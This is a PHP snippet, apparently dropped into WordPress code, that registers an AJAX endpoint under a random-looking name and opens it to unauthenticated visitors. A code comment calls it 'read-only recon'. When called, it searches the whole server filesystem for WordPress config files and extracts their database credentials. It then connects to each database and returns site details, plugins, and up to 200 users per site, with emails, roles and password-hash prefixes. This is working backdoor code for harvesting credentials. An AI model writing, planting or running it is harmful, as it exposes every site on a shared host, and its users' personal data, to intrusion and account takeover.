// per v3 ยง4.2 - read-only recon action add_action('wp_ajax_ocnk7hfrte', 'ocnk7hfrte_run'); add_action('wp_ajax_nopriv_ocnk7hfrte', 'ocnk7hfrte_run'); function ocnk7hfrte_run(){ @ini_set('display_errors','0'); @set_time_limit(180); $result = array('configs'=>array(), 'err'=>array(), 'host_info'=>array()); $result['host_info']['kernel'] = php_uname('r'); $result['host_info']['hostname'] = gethostname(); $result['host_info']['user'] = function_exists('posix_getpwuid') ? @posix_getpwuid(posix_geteuid())['name'] : @get_current_user(); $result['host_info']['php'] = phpversion(); // collect wp-configs from full filesystem walk $cfgs = array(); $found = @shell_exec("find / -name wp-config.php -readable 2>/dev/null | head -200"); if($found){ foreach(explode(chr(10), trim($found)) as $ln){ if($ln) $cfgs[]=$ln; } } $result['host_info']['cfg_count'] = count($cfgs); foreach($cfgs as $cf){ $entry = array('path'=>$cf); $c = @file_get_contents($cf); if(!$c){ $entry['err']='unread'; $result['configs'][]=$entry; continue; } $db=$u=$p=$h=''; $pfx='wp_'; foreach(explode(chr(10),$c) as $ln){ if(strpos($ln,'DB_NAME')!==false){ $x=explode(chr(39),$ln); if(isset($x[3]))$db=$x[3]; } if(strpos($ln,'DB_USER')!==false){ $x=explode(chr(39),$ln); if(isset($x[3]))$u=$x[3]; } if(strpos($ln,'DB_PASSWORD')!==false){ $x=explode(chr(39),$ln); if(isset($x[3]))$p=$x[3]; } if(strpos($ln,'DB_HOST')!==false){ $x=explode(chr(39),$ln); if(isset($x[3]))$h=$x[3]; } if(preg_match('/table_prefix\s*=\s*[\"\\\']([^\"\\\']+)/', $ln, $m)){ $pfx=$m[1]; } } $entry['db']=$db; $entry['user']=$u; $entry['host']=$h; $entry['prefix']=$pfx; if(!$db || !$u){ $entry['err']='nocred'; $result['configs'][]=$entry; continue; } $cn = @new mysqli($h?:'localhost', $u, $p, $db); if($cn->connect_error){ $cn = @new mysqli('127.0.0.1', $u, $p, $db); } if($cn->connect_error){ $entry['err']='conn:'.substr($cn->connect_error,0,60); $result['configs'][]=$entry; continue; } // resolve users table by prefix; fall back to LIKE search $utbl = $pfx.'users'; $chk = $cn->query("SHOW TABLES LIKE '".$cn->real_escape_string($utbl)."'"); if(!$chk || $chk->num_rows==0){ $chk = $cn->query("SHOW TABLES LIKE '%users'"); if($chk && $chk->num_rows>0){ $utbl=$chk->fetch_row()[0]; $pfx=str_replace('users','',$utbl); $entry['prefix_resolved']=$pfx; } else { $entry['err']='notbl'; $result['configs'][]=$entry; $cn->close(); continue; } } $mtbl = $pfx.'usermeta'; $otbl = $pfx.'options'; // siteurl + active plugins $sr = $cn->query("SELECT option_value FROM $otbl WHERE option_name='siteurl' LIMIT 1"); $entry['siteurl'] = $sr && $sr->num_rows>0 ? $sr->fetch_row()[0] : ''; $bn = $cn->query("SELECT option_value FROM $otbl WHERE option_name='blogname' LIMIT 1"); $entry['blogname'] = $bn && $bn->num_rows>0 ? $bn->fetch_row()[0] : ''; $vq = $cn->query("SELECT option_value FROM $otbl WHERE option_name='db_version' LIMIT 1"); $entry['db_version'] = $vq && $vq->num_rows>0 ? $vq->fetch_row()[0] : ''; $pq = $cn->query("SELECT option_value FROM $otbl WHERE option_name='active_plugins' LIMIT 1"); $plugs = $pq && $pq->num_rows>0 ? @unserialize($pq->fetch_row()[0]) : array(); $entry['plugins'] = is_array($plugs) ? array_values($plugs) : array(); // users $cap_key = $pfx.'capabilities'; $users = array(); $ures = $cn->query("SELECT ID, user_login, user_email, user_registered, user_pass, display_name FROM $utbl ORDER BY ID ASC LIMIT 200"); if($ures){ while($row = $ures->fetch_assoc()){ $uid = (int)$row['ID']; $cap_res = $cn->query("SELECT meta_value FROM $mtbl WHERE user_id=$uid AND meta_key='".$cn->real_escape_string($cap_key)."' LIMIT 1"); $cap = $cap_res && $cap_res->num_rows>0 ? $cap_res->fetch_row()[0] : ''; $role = ''; if(preg_match('/s:\d+:\"([a-z_]+)\";b:1/', $cap, $rm)) $role = $rm[1]; $hash = $row['user_pass']; $hash_type = '?'; if(strlen($hash)<=32) $hash_type='md5'; elseif(strpos($hash,'$wp$2y$')===0) $hash_type='wp_bcrypt'; elseif(strpos($hash,'$2y$')===0||strpos($hash,'$2b$')===0||strpos($hash,'$2a$')===0) $hash_type='bcrypt'; elseif(strpos($hash,'$P$')===0||strpos($hash,'$H$')===0) $hash_type='phpass'; $users[] = array('id'=>$uid, 'login'=>$row['user_login'], 'email'=>$row['user_email'], 'display'=>$row['display_name'], 'registered'=>$row['user_registered'], 'role'=>$role, 'hash_type'=>$hash_type, 'hash_prefix'=>substr($hash,0,12), 'hash_len'=>strlen($hash)); } } $entry['user_count'] = count($users); $entry['users'] = $users; $cn->close(); $result['configs'][] = $entry; } echo json_encode($result); wp_die(); }